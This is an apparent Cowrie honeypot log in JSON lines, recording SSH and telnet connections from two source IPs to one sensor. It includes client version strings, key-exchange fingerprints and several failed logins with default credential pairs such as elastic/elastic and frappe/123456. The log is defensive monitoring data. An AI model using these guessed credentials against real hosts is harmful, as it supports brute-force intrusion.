{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40590,"dst_ip":"10.17.0.5","dst_port":22,"session":"49261d2ce897","protocol":"ssh","message":"New connection: 45.153.34.112:40590 (10.17.0.5:22) [session: 49261d2ce897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:13.535529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:13.540648Z","src_ip":"45.153.34.112","session":"49261d2ce897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:13.626913Z","src_ip":"45.153.34.112","session":"49261d2ce897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:13.873372Z","src_ip":"45.153.34.112","session":"49261d2ce897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45552,"dst_ip":"10.17.0.5","dst_port":23,"session":"98e335d53e86","protocol":"telnet","message":"New connection: 192.119.13.58:45552 (10.17.0.5:23) [session: 98e335d53e86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:13.909580Z"}
{"eventid":"cowrie.session.closed","duration":50.0533504486084,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:13.928315Z","src_ip":"192.119.13.58","session":"44b4f52507bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:14.963824Z","src_ip":"45.153.34.112","session":"49261d2ce897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":40598,"dst_ip":"10.17.0.5","dst_port":22,"session":"78a5ee24944c","protocol":"ssh","message":"New connection: 45.153.34.112:40598 (10.17.0.5:22) [session: 78a5ee24944c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:17.084792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:17.089645Z","src_ip":"45.153.34.112","session":"78a5ee24944c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:17.172208Z","src_ip":"45.153.34.112","session":"78a5ee24944c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:17.418781Z","src_ip":"45.153.34.112","session":"78a5ee24944c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:18.519233Z","src_ip":"45.153.34.112","session":"78a5ee24944c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54102,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa6bbb73e4f","protocol":"ssh","message":"New connection: 45.153.34.112:54102 (10.17.0.5:22) [session: dfa6bbb73e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:20.630152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:20.638850Z","src_ip":"45.153.34.112","session":"dfa6bbb73e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:20.721139Z","src_ip":"45.153.34.112","session":"dfa6bbb73e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:20.966996Z","src_ip":"45.153.34.112","session":"dfa6bbb73e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48096,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f7abb04f9d","protocol":"telnet","message":"New connection: 192.119.13.58:48096 (10.17.0.5:23) [session: 60f7abb04f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:21.794297Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:22.218558Z","src_ip":"45.153.34.112","session":"dfa6bbb73e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54110,"dst_ip":"10.17.0.5","dst_port":22,"session":"510301698b3b","protocol":"ssh","message":"New connection: 45.153.34.112:54110 (10.17.0.5:22) [session: 510301698b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:24.049955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:24.161267Z","src_ip":"45.153.34.112","session":"510301698b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:24.165282Z","src_ip":"45.153.34.112","session":"510301698b3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57640,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b9bb3a1eeaf","protocol":"telnet","message":"New connection: 192.119.13.58:57640 (10.17.0.5:23) [session: 9b9bb3a1eeaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:24.320587Z"}
{"eventid":"cowrie.session.closed","duration":0.008858919143676758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:24.329307Z","src_ip":"192.119.13.58","session":"9b9bb3a1eeaf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:24.510381Z","src_ip":"45.153.34.112","session":"510301698b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.828370094299316,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:25.643414Z","src_ip":"192.119.13.58","session":"40cd96f333a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:25.689507Z","src_ip":"45.153.34.112","session":"510301698b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.54534196853638,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:25.871226Z","src_ip":"192.119.13.58","session":"5a5f042015e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":54118,"dst_ip":"10.17.0.5","dst_port":22,"session":"232263f47298","protocol":"ssh","message":"New connection: 45.153.34.112:54118 (10.17.0.5:22) [session: 232263f47298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:27.630853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:27.635774Z","src_ip":"45.153.34.112","session":"232263f47298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:27.719725Z","src_ip":"45.153.34.112","session":"232263f47298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:27.966154Z","src_ip":"45.153.34.112","session":"232263f47298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45084,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d852730af2c","protocol":"telnet","message":"New connection: 192.119.13.58:45084 (10.17.0.5:23) [session: 1d852730af2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:28.261961Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:29.050435Z","src_ip":"45.153.34.112","session":"232263f47298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.8640294075012207,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:30.125854Z","src_ip":"192.119.13.58","session":"1d852730af2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.226608753204346,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:30.190963Z","src_ip":"192.119.13.58","session":"d96f4310ee67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45854,"dst_ip":"10.17.0.5","dst_port":22,"session":"27e804cd60e8","protocol":"ssh","message":"New connection: 45.153.34.112:45854 (10.17.0.5:22) [session: 27e804cd60e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:31.134372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:31.139406Z","src_ip":"45.153.34.112","session":"27e804cd60e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:31.223151Z","src_ip":"45.153.34.112","session":"27e804cd60e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pouria","password":"pouria","message":"login attempt [pouria/pouria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:31.470382Z","src_ip":"45.153.34.112","session":"27e804cd60e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.30918765068054,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:31.742817Z","src_ip":"192.119.13.58","session":"a6f68571cc23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60006,"dst_ip":"10.17.0.5","dst_port":23,"session":"d179e22fa55e","protocol":"telnet","message":"New connection: 192.119.13.58:60006 (10.17.0.5:23) [session: d179e22fa55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:31.786577Z"}
{"eventid":"cowrie.session.closed","duration":40.06207275390625,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:32.143449Z","src_ip":"192.119.13.58","session":"653a81810ec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:32.675411Z","src_ip":"45.153.34.112","session":"27e804cd60e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41576,"dst_ip":"10.17.0.5","dst_port":23,"session":"425ac8e93e90","protocol":"telnet","message":"New connection: 192.119.13.58:41576 (10.17.0.5:23) [session: 425ac8e93e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:34.189247Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45876,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea62b46149a0","protocol":"ssh","message":"New connection: 45.153.34.112:45876 (10.17.0.5:22) [session: ea62b46149a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:34.534017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:34.539254Z","src_ip":"45.153.34.112","session":"ea62b46149a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:34.622188Z","src_ip":"45.153.34.112","session":"ea62b46149a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:34.870933Z","src_ip":"45.153.34.112","session":"ea62b46149a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:35.957002Z","src_ip":"45.153.34.112","session":"ea62b46149a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.28556966781616,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:09:36.107150Z","src_ip":"192.119.13.58","session":"83e9521b03a0","protocol":"telnet"}
